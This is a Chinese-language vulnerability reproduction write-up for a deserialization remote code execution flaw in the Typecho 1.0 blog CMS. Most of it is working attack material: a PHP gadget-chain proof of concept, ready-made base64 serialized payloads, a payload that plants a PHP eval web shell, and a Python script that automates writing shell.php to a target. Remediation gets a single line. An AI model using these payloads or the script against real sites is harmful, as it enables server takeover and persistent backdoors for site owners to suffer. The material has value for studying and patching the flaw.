typecho_1.0_14.10.10_unserialize

typecho_1.0_14.10.10_unserialize

漏洞描述

typecho 是博客CMS，前台install.php 文件存在反序列化漏洞，通过构造的反序列化字符串注入可以执行任意PHP 代码。

漏洞危害等级

高危

影响版本

typecho1.0(14.10.10)

漏洞复现

基础环境

组件	版本
OS	Win10
Webserver	MAMP PRO _PHP5.6.37
typecho	1.0(14.10.10)

• 网站安装

• 需要进入数据库创建一个typecho_10数据库，否则无法安装。

• 安装成功

漏洞演示

• 准备poc

<?php
class Typecho_Feed 
{ 
	const RSS1 = 'RSS 1.0'; 
	const RSS2 = 'RSS 2.0'; 
	const ATOM1 = 'ATOM 1.0'; 
	const DATE_RFC822 = 'r'; 
	const DATE_W3CDTF = 'c'; 
	const EOL = "\n"; 
	private $_type; 
	private $_items; 
	
	public function __construct(){
    $this->_type = $this::RSS2; 
    $this->_items[0] = array( 
    	'title' => '1', 
    	'link' => '1', 
    	'date' => 1508895132, 
    	'category' => array(new Typecho_Request()), 
    	'author' => new Typecho_Request(), 
    	); 
  	} 
} 
class Typecho_Request 
{ 
	private $_params = array(); 
	private $_filter = array(); 
	public function __construct(){ 
	$this->_params['screenName'] = 'phpinfo()';    //替换phpinfo()这里进行深度利用
	$this->_filter[0] = 'assert'; 
	} 
} 

$exp = array( 
	'adapter' => new Typecho_Feed(), 
	'prefix' => 'typecho_' 
); 

echo base64_encode(serialize($exp));
?>

• 生成利用代码，构造POST数据

php typecho_1.0_POC.php                   //执行POC生成代码

```
YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
```
    
···__typecho_config=
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=   
    
···

• 提交url，成功执行phpinfo();

/install.php?finish=

深度利用

• 写shell

$this->_params['screenName'] = 'fputs(fopen(\'shell.php\',\'w\'),\'<?=@eval($_REQUEST[buzhidao])?>\')';

• 构造POST数据，提交POST数据，会在当前目录生成shell.php文件

__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjYzOiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbYnV6aGlkYW9dKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo2MzoiZnB1dHMoZm9wZW4oJ3NoZWxsLnBocCcsJ3cnKSwnPD89QGV2YWwoJF9SRVFVRVNUW2J1emhpZGFvXSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19fX1zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ==

• 使用火狐浏览器，Edge浏览器没有成功，可能使hackbar问题。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-62ZXRQOh-1608533429707)(d:\Desktop\千峰网络安全2001期.md\image\反序列化\typecho_1.0_14.10\7)]

• 蚁剑进行连接

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DwdiDh76-1608533429710)(d:\Desktop\千峰网络安全2001期.md\image\反序列化\typecho_1.0_14.10\8)]

python自动化

python3 TypechoV10_GetShell.py http://10.10.10.213/typechov10/ 

http://10.10.10.213/typechov10/ 
[+] install.php exist! 
[+] Shell.php write success! 
Shell path : http://10.10.10.213/typechov10/shell.php

import requests 
import sys 
url = sys.argv[1] path = "/install.php?finish=" print(url) 
payload = "YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjU4OiJmcHV0cyhmb3Blbignc2hlbGwucGhwJywndycpLCc8Pz1AZXZhbCgkX1JFUVVFU1RbNzc3XSk/PicpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NTg6ImZwdXRzKGZvcGVuKCdzaGVsbC5waHAnLCd3JyksJzw/PUBldmFsKCRfUkVRVUVTVFs3NzddKT8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9" 
postData = {"__typecho_config":payload} 
header ={ 
	"Referer":url, 
	"User-Agent":"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0"} 
	
res = requests.get(url+path) 
if res.status_code == 200: 
	print("[+] install.php exist!") 
else: 
	print("[-] install.php not exist") 
	sys.exit() 
	
res = requests.post(url = url+path,data = postData,headers = header) 
res = requests.get(url+"shell.php") 
if res.status_code == 200: 
	print("[+] Shell.php write success!") 
	print("Shell path :",url+"shell.php") 
else: 
	print("[-] GetShell Error!")

漏洞修复

升级版本